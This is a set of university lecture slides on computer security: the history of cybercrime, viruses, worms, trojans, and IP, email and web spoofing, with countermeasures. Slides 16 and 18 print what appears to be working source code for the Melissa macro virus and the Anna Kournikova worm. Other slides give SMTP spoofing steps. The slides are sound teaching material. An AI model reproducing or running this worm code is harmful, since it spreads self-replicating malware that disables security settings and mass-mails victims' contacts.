Computer Security

1. Computer Security GSBA (Zurich): MIS Block Hacking

2. Topics • Crisis • Computer Crimes • Hacker Attacks • Modes of Computer Security • Password Security • Network Security • Web Security • Distributed Systems Security • Database Security Sanjay Goel, School of Business, University at Albany

3. Crisis • Internet has grown very fast and security has lagged behind. • Legions of hackers have emerged as impedance to entering the hackers club is low. • It is hard to trace the perpetrator of cyber attacks since the real identities are camouflaged • It is very hard to track down people because of the ubiquity of the network. • Large scale failures of internet can have a catastrophic impact on the economy which relies heavily on electronic transactions Sanjay Goel, School of Business, University at Albany

4. Computer Crime – The Beginning • In 1988 a "worm program" written by a college student shut down about 10 percent of computers connected to the Internet. This was the beginning of the era of cyber attacks. • Today we have about 10,000 incidents of cyber attacks which are reported and the number is growing. Sanjay Goel, School of Business, University at Albany

5. Computer Crime - 1994 • A 16-year-old music student called Richard Pryce, better known by the hacker alias Datastream Cowboy, is arrested and charged with breaking into hundreds of computers including those at the Griffiths Air Force base, Nasa and the Korean Atomic Research Institute. His online mentor, "Kuji", is never found. • Also this year, a group directed by Russian hackers broke into the computers of Citibank and transferred more than $10 million from customers' accounts. Eventually, Citibank recovered all but $400,000 of the pilfered money. Sanjay Goel, School of Business, University at Albany

6. Computer Crime - 1995 • In February, Kevin Mitnick is arrested for a second time. He is charged with stealing 20,000 credit card numbers. He eventually spends four years in jail and on his release his parole conditions demand that he avoid contact with computers and mobile phones. • On November 15, Christopher Pile becomes the first person to be jailed for writing and distributing a computer virus. Mr Pile, who called himself the Black Baron, was sentenced to 18 months in jail. • The US General Accounting Office reveals that US Defense Department computers sustained 250,000 attacks in 1995. Sanjay Goel, School of Business, University at Albany

7. Computer Crime - 1999 • In March, the Melissa virus goes on the rampage and wreaks havoc with computers worldwide. After a short investigation, the FBI tracks down and arrests the writer of the virus, a 29-year-old New Jersey computer programmer, David L. Smith. • More than 90 percent of large corporations and government agencies were the victims of computer security breaches in 1999 Sanjay Goel, School of Business, University at Albany

8. Computer Crime - 2000 • In February, some of the most popular websites in the world such as Amazon and Yahoo are almost overwhelmed by being flooded with bogus requests for data. • In May, the ILOVEYOU virus is unleashed and clogs computers worldwide. Over the coming months, variants of the virus are released that manage to catch out companies that didn't do enough to protect themselves. • In October, Microsoft admits that its corporate network has been hacked and source code for future Windows products has been seen. Sanjay Goel, School of Business, University at Albany

9. Computer Crime - 2002 • In April 2002, computer hackers calling themselves “Deceptive Duo” announced that they had begun their mission of breaking into computer systems to call attention to the vulnerabilities in the US National Security • In subsequent weeks they hacked into 52 web sites and databases including those operated by the US office of secretary of defense, the space and Naval Warfare Systems Command, The Defense Logistics Agency, Sandia National Lab, NASA JPL, Airlines, Banks … Sanjay Goel, School of Business, University at Albany

10. Intrusion Incident Reports Note: Projected from 3 quarters of data Sanjay Goel, School of Business, University at Albany

11. Why are we vulnerable? • Increased complexity of the systems • Large networks with switches, hubs, gateways provide multiple entry points • Very sophisticated software using millions of lines of code which leave holes for hackers to attack • Constantly upgrading computer systems and software • Support staff not able to keep up with security provisions • New technology (often not fully tested) adds new risk • Lack of proper education • Managers do not realize the vulnerabilities and are not willing to invest in technology that does not directly effect the bottom line • Dependence on commercial software with known vulnerabilities • e.g. Microsoft Windows OS and Outlook Sanjay Goel, School of Business, University at Albany

12. VIRUSES Sanjay Goel, School of Business, University at Albany

13. Virus • Computer viruses are self-replicating software entities that attach themselves parasitically to existing programs. • The virus spreads by creating replica of itself and attaching itself to other executable programs to which it has write access. • A true virus does not spread from machine to machine on its own. It must be passed on to other users via e-mail, infected files/diskettes, programs or shared files • The viruses normally consist of two parts • Replicator: responsible for copying the virus to other executable programs. • Payload: Action of the virus,which may be benign such as printing a weird message, playing music or malicious such as destroying data or corrupting the hard disk. Sanjay Goel, School of Business, University at Albany

14. Virus • When a user executes an infected program (an executable file or boot sector), the viral portion of the code typically executes first and then the control returns to the original program, which executes normally. • Unless the virus executes a payload which the user observes the user is not likely to find the virus operating on his/her hard drive. • Viruses can persist in your programs for a long time without being detected thus constantly upgrading your virus signatures and running virus scans is very important. Sanjay Goel, School of Business, University at Albany

15. Virus • Polymorphic viruses • Viruses which modify themselves prior to attaching themselves to another program. • These are hard to detect since they are constantly changing their signature. • Macro Viruses • These viruses use an application macro language (such as VB or VBScript) to create programs that infect documents and templates • If an infected document is opened the virus is executed and it infects the users application templates  Sanjay Goel, School of Business, University at Albany

16. Melissa Virus System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo" End If Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) NTCL = NTI1.CodeModule.CountOfLines ADCL = ADI1.CodeModule.CountOfLines BGN = 2 If ADI1.Name <> "Melissa" Then If ADCL > 0 Then _ ADI1.CodeModule.DeleteLines 1, ADCL Set ToInfect = ADI1 ADI1.Name = "Melissa" DoAD = True End If If NTI1.Name <> "Melissa" Then If NTCL > 0 Then _ NTI1.CodeModule.DeleteLines 1, NTCL Set ToInfect = NTI1 NTI1.Name = "Melissa" DoNT = True End If If DoNT <> True And DoAD <> True Then GoTo CYA If DoNT = True Then Do While ADI1.CodeModule.Lines(1, 1) = "" ADI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") Do While ADI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If If DoAD = True Then Do While NTI1.CodeModule.Lines(1, 1) = "" NTI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") Do While NTI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If CYA: If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then ActiveDocument.Saved = True: End If 'WORD/Melissa written by Kwyjibo 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." End Sub // Melissa Virus Source Code Private Sub Document_Open() On Error Resume Next If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then CommandBars("Macro").Controls("Security...").Enabled = False System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& Else CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) End If Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then If UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile", "password" For y = 1 To DasMapiName.AddressLists.Count Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo BreakUmOffASlice.Subject = "Important Message From " & Application.UserName BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)" BreakUmOffASlice.Attachments.Add ActiveDocument.FullName BreakUmOffASlice.Send Peep = "" Next y DasMapiName.Logoff End If Sanjay Goel, School of Business, University at Albany

17. Worms • Worms are a form of self-replicating programs that can automatically spread. • Unlike the viruses they do not need a carrier program and they replicate by spawning copies of themselves. • They are more complex and are much harder to write than the virus programs. • ILOVEYOU worm in 2000 automatically emailed itself to the first 200 entries in the outlook address book • The worm spread to 10 million computers in two days which were required to create a patch for it • It cost billions of dollars to repair the damage • Sometimes worms take a long time to spread • Anna Kournikova worm was discovered in August 2000 and became a serious threat in February 2001 • CodeRed, Nimbda, SirCam are other worms each of which cost upwards of 500 million dollars in damages Sanjay Goel, School of Business, University at Albany

18. Worm (Anna Kournikova) 'Vbs.OnTheFly Created By OnTheFly On Error Resume Next Set WScriptShell = CreateObject("WScript.Shell") WScriptShell.regwrite "HKCU\software\OnTheFly\", "Worm made with Vbswg 1.50b" Set FileSystemObject = Createobject("scripting.filesystemobject") FileSystemObject.copyfile wscript.scriptfullname,FileSystemObject.GetSpecialFolder(0) & "\AnnaKournikova.jpg.vbs" if WScriptShell.regread ("HKCU\software\OnTheFly\mailed") <> "1" then doMail() end if if month(now) = 1 and day(now) = 26 then WScriptShell.run "Http://www.dynabyte.nl",3,false end if Set thisScript = FileSystemObject.opentextfile(wscript.scriptfullname, 1) thisScriptText = thisScript.readall thisScript.Close Do If Not (FileSystemObject.fileexists(wscript.scriptfullname)) Then Set newFile = FileSystemObject.createtextfile(wscript.scriptfullname, True) newFile.write thisScriptText newFile.Close End If Loop Function doMail() On Error Resume Next Set OutlookApp = CreateObject("Outlook.Application") If OutlookApp = "Outlook" Then Set MAPINameSpace = OutlookApp.GetNameSpace("MAPI") Set AddressLists = MAPINameSpace.AddressLists For Each address In AddressLists If address.AddressEntries.Count <> 0 Then entryCount = address.AddressEntries.Count For i = 1 To entryCount Set newItem = OutlookApp.CreateItem(0) Set currentAddress = address.AddressEntries(i) newItem.To = currentAddress.Address newItem.Subject = "Here you have, ;o)" newItem.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & "" set attachments = newItem.Attachments attachments.Add FileSystemObject.GetSpecialFolder(0) & "\AnnaKournikova.jpg.vbs" newItem.DeleteAfterSubmit = True If newItem.To <> "" Then newItem.Send WScriptShell.regwrite "HKCU\software\OnTheFly\mailed", "1" End If Next End If Next end if End Function 'Vbswg 1.50b Sanjay Goel, School of Business, University at Albany

19. Trojan Horse • This is a program that secretly gets installed on a computer planting a secret payload that can allow a hacker who planted it access to do things such as stealing passwords or recording key strokes and transmitting them to a third party • A logic bomb is a trojan horse that executes when certain conditions become true • Most commonly executes at a specific date and time • Example: Cute Trojan Horse allows hackers to destroy the firewalls installed on computers. Sanjay Goel, School of Business, University at Albany

20. HACKERS Sanjay Goel, School of Business, University at Albany

21. Why do Hackers Attack? • Most hackers try to test the system limitations out of intellectual curiosity & bragging rights • Cyber criminals hack into corporate computers to steal money or credit card numbers • In March 2001 FBI reported that over 1 million credit card numbers were stolen by cyber criminals in Russia & Ukraine • Cyber terrorists try to push their political agenda by coercion via computer-based attacks against computers and networks • NATO computers were blasted with infected emails to protest against bombings in Kosovo during the 1999 conflict • Lucent was made target for DOS attacks by a group protesting against its business with Israel • Disgruntled employees often venting anger at a company or organization by hacking & stealing information or causing damage to computer systems Sanjay Goel, School of Business, University at Albany

22. Types of Hacker Attack • Active Attacks • Denial of Service • Breaking into a site • Intelligence Gathering • Resource Usage • Deception • Passive Attacks • Sniffing • Passwords • Network Traffic • Sensitive Information • Information Gathering Sanjay Goel, School of Business, University at Albany

23. Modes of Hacker Attack • Spoofing • Session Hijacking • Denial of Service Attacks • Buffer Overflow Attacks • Password Attacks Sanjay Goel, School of Business, University at Albany

24. Spoofing Definition: An attacker alters his identity so that some one thinks he is some one else • Email, User ID, IP Address, … • Attacker exploits trust relation between user and networked machines to gain access to machines Types of Spoofing: • IP Spoofing: • Email Spoofing • Web Spoofing Sanjay Goel, School of Business, University at Albany

25. IP Spoofing • There are three basic flavors of IP spoofing attacks • Basic Address Change • Use of source routing to intercept packets • Exploiting of a trust relationship on UNIX machines Sanjay Goel, School of Business, University at Albany

26. IP Spoofing – Basic Address Change Definition: Attacker uses IP address of another computer to acquire information or gain access Replies sent back to 10.10.20.30 Spoofed Address 10.10.20.30 John 10.10.5.5 From Address: 10.10.20.30 To Address: 10.10.5.5 • Attacker changes his own IP address to spoofed address • Attacker can send messages to a machine masquerading as spoofed machine • Attacker can not receive messages from that machine Attacker 10.10.50.50 Sanjay Goel, School of Business, University at Albany

27. Basic Address Change (Windows) • Simple Mechanism • From start menu select settings  Control Panel • Double click on the network icon • Right click the LAN connection and select properties • select Internet Protocol (TCP/IP) and click on properties • Change the IP address to the address you want to spoof • Reboot the machine • All packets sent from the machine have the spoofed address Sanjay Goel, School of Business, University at Albany

28. Basic Address Change (Unix) • Use ifconfig command • Write Details Sanjay Goel, School of Business, University at Albany

29. IP-Spoofing (Basic Address Change) • Limitation • Flying Blind Attack i.e. user can not get return messages • Any protocol which requires 3-way connection can not be used • UDP which is connectionless can be used to send packets • Uses • Used in denial-of-service attack where a single packet can crash a machine Sanjay Goel, School of Business, University at Albany

30. IP Spoofing – Basic Address Change • Prevention • You can protect your machines from being used to launch a spoofing attack • You can do little to prevent other people from spoofing your address • Users can be prevented from having access to network configuration • To protect your company from spoofing attack you can apply basic filters at your routers • Ingress Filtering: Prevent packets from outside coming in with address from inside. • Egress Filtering: Prevents packets not having an internal address from leaving the network Sanjay Goel, School of Business, University at Albany

31. IP Spoofing – Source Routing Definition: Attacker spoofs the address of another machine and inserts itself between the attacked machine and the spoofed machine to intercept replies Attacker intercepts packets as they go to 10.10.20.30 From Address: 10.10.20.30 To Address: 10.10.5.5 Replies sent back to 10.10.20.30 Spoofed Address 10.10.20.30 John 10.10.5.5 Attacker 10.10.50.50 • The path a packet may change can vary over time Sanjay Goel, School of Business, University at Albany

32. IP Spoofing – Source Routing Contd. • Attacker uses source routing to ensure that the packets pass through certain nodes on the network • Loose Source Routing (LSR): The sender specifies a list of addresses that the packet must go through but it can go to any other address if it needs to. • Strict Source Routing (SSR): The sender specifies the exact path for the packet and the packet is dropped if the exact path can not be taken. • Source Routing works by using a 39-byte source route option field in the IP header • Works by picking one node address at a time sequentially • A maximum of 9 nodes in the path can be specified • Source Routing was introduced into the TCP spec for debugging and testing redundancy in the network Sanjay Goel, School of Business, University at Albany

33. IP Spoofing – Source Routing contd. • Tracert: Windows NT utility runs at a Command prompt. • Traces a path from your machine to the URL or IP address given along with the tracert command. • Usage: • tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name • Options: • -d Do not resolve addresses to hostnames. • -h maximum_hops Maximum number of hops to search for target. • -j host-list Loose source route along host-list. • -w timeout Wait timeout milliseconds for each reply. • Tracing a URL: tracert www.techadvice.com <enter> • Tracing route to www.techadvice.com [63.69.55.237]over a maximum of 30 hops:1 181 ms 160 ms 170 ms border0.Srvf.Rx2.abc [63.69.55.237]2 170 ms 170 ms 160 ms 192.168.0.23 ..... Sanjay Goel, School of Business, University at Albany

34. IP Spoofing – Source Routing contd. • Tracing an IP-Address: tracert 3.1.6.62 • Tracing using loose source routing: tracert –j 3.2.1.44 3.3.1.42 • Protection • Disable source routing at your routers Sanjay Goel, School of Business, University at Albany

35. IP Spoofing – Trust Relationships • In UNIX trust relationships can be set up between multiple machines • After trust becomes established the user can use Unix r commands to access sources on different machines • A .rhosts file is set up on individual machines or /etc/hosts.equiv is used to set it up at the system level • Trust relationship is easy to spoof • If user realizes that a machine trusts the IP address 10.10.10.5 he can spoof that address and he is allowed access without password • The responses go back to the spoofed machine so this is still a flying blind attack. • Protection • Do not use trust relations • Do not allow trust relationships on the internet and limit them within the company • Monitor which machines and users can have trust without jeopardizing critical data or function Sanjay Goel, School of Business, University at Albany

36. Email Spoofing Definition: Attacker sends messages masquerading as some one else What can be the repercussions? Reasons: • Attackers want to hide their identity while sending messages (sending anonymous emails) • User sends email to anonymous e-mailer which sends emails to the intended recipient • Attacker wants to impersonate someone • To get someone in trouble • Social engineering • Get information by pretending to be someone else Sanjay Goel, School of Business, University at Albany

37. Email Spoofing – Similar Name Account • Create an account with similar email address • SanjayGoel@yahoo.com: A message from this account can perplex the students • Most mailers have an alias field (this can be used to prescribe any name. • Example Class: I am too sick to come to the class tomorrow so the class is cancelled. The assignments that were due are now due next week. Sanjay Goel Sanjay Goel, School of Business, University at Albany

38. Email Spoofing – Similar Name Account • Protection • Educating the employees in a corporation to be cautious • Make sure that the full email address rather than alias is displayed • Institute policy that all official communication be done using company email • Use PKI where digital signature of each employee is associated with the email Sanjay Goel, School of Business, University at Albany

39. Email Spoofing – Mail Client • Modify a mail client • When email is sent from the user no authentication is performed on the from address • Attacker can put in any return address he wants to in the mail he sends • Protection • Education • Audit Logging • Looking at the full email address Sanjay Goel, School of Business, University at Albany

40. Email Spoofing – Telnet to Port 25 • Telnet to port 25 • Most mail servers use port 25 for SMTP. • An attacker runs a port scan and gets the IP address of machine with port 25 open • telnet ip-adress 25 (cmd to telnet to port 25) • Attacker logs on to this port and composes a message for the user. • Example: Hello mail from:spoofed-email-address Rcpt to: person-sending-mail-to Data (message you want to send) Period sign at the end of the message Sanjay Goel, School of Business, University at Albany

41. Email Spoofing – Telnet to Port 25 • Mail relaying is the sending of email to a person on a different domain • Protection • Make sure that the recipients domain is the same as the the mail server • New SMTP servers disallow mail relaying • From a remote connection the from and to addresses are from the same domain as the mail server • Make sure that spoofing and relay filters are configured Sanjay Goel, School of Business, University at Albany

42. Web Spoofing • Basic • Man-in-the-Middle Attack • URL Rewriting • Tracking State Sanjay Goel, School of Business, University at Albany

43. Web Spoofing - Basic • No requirement against registering a domain • Attacker registers a web address matching an entity e.g. votebush.com, geproducts.com, gesucks.com • Process • Hacker sets up a spoofed site • User goes to the spoofed site • Clicks on items to order and checks out • Site prompts user for credit card information • Gives the user a cookie • Puts message – Site experiencing technical difficulty • When user tries back spoofed site checks cookie • Already has credit card number so directs the user to legitimate site Sanjay Goel, School of Business, University at Albany

44. Web Spoofing - Basic • Protection • Use server side certificates • Certificates much harder to spoof • Users need to ensure that the certificates are legitimate before clicking on OK to accept certificate Sanjay Goel, School of Business, University at Albany

45. Web Spoofing – Man in the Middle Attack • Man-in-the-Middle Attack • Attacker acts as a proxy between the web server and the client • Attacker has to compromise the router or a node through which the relevant traffic flows • Protection • Secure the perimeter to prevent compromise of routers Sanjay Goel, School of Business, University at Albany

46. Web Spoofing – URL Rewriting • URL Rewriting • Attacker redirects web traffic to another site that is controlled by the attacker • Attacker writes his own web site address before the legitimate link • e.g. <A href=“http://www.hacker.com/http://www.albany.edu/index.html”> • The user is first directed to the hacker site and then redirected to the actual site • Protections • Web browsers should be configured to always show complete address • Ensure that the code for the web sites is properly protected at the server end and during transit Sanjay Goel, School of Business, University at Albany

47. Web Spoofing • Tracking State • When a user logs on to a site a persistent authentication is maintained • This authentication can be stolen for masquerading as the user Sanjay Goel, School of Business, University at Albany

48. Request Response Browser Web Server Database Tracking State • Browsers primarily use Http protocol to communicate • Http is a stateless protocol • Web Sites need to maintain persistent authentication so that user does not have to authenticate repeatedly • This authentication can be stolen for masquerading as the user Sanjay Goel, School of Business, University at Albany

49. Web Spoofing – Tracking State • Three types of tracking methods are used: • Cookies: Line of text with ID on the users cookie file • Attacker can read the ID from users cookie file • URL Session Tracking: An id is appended to all the links in the website web pages. • Attacker can guess or read this id and masquerade as user • Hidden Form Elements • ID is hidden in form elements which are not visible to user • Hacker can modify these to masquerade as another user Sanjay Goel, School of Business, University at Albany

50. Web Spoofing – Tracking State Cookies • Cookies are a piece of information that the server passes to the browser and the browser stores on the server • Set of name value pairs • Web servers place cookies on user machines with id to track the users • Two types of cookies • Persistent cookies: Stored on hard drive in text format • Non-persistent cookies: Stored in memory and goes away after you reboot or turn off the machine • Attacker gets cookies by: • Accessing the victim hard drive • Guessing Ids which different web servers assign Sanjay Goel, School of Business, University at Albany